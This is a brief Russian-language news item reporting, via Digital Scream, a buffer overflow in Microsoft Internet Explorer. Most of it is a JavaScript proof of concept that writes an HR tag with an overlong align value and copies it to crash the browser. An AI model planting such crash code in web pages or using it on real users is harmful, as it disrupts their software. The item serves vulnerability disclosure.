Переполнение буфера в Microsoft Internet Explorer

Как сообщает Digital Scream, следующий код приведет к аварийному завершению работы IE:

<script>

 wnd=open("about:blank","",""); 

 wnd.moveTo(screen.Width,screen.Height);

 WndDoc=wnd.document;

 WndDoc.open();

 WndDoc.clear();

 buffer="";

 for(i=1;i<=127;i++)buffer+="X";

 buffer+="DigitalScream";

 WndDoc.write("<HR align='"+buffer+"'>");

 WndDoc.execCommand("SelectAll");

 WndDoc.execCommand("Copy");

 wnd.close();

</script>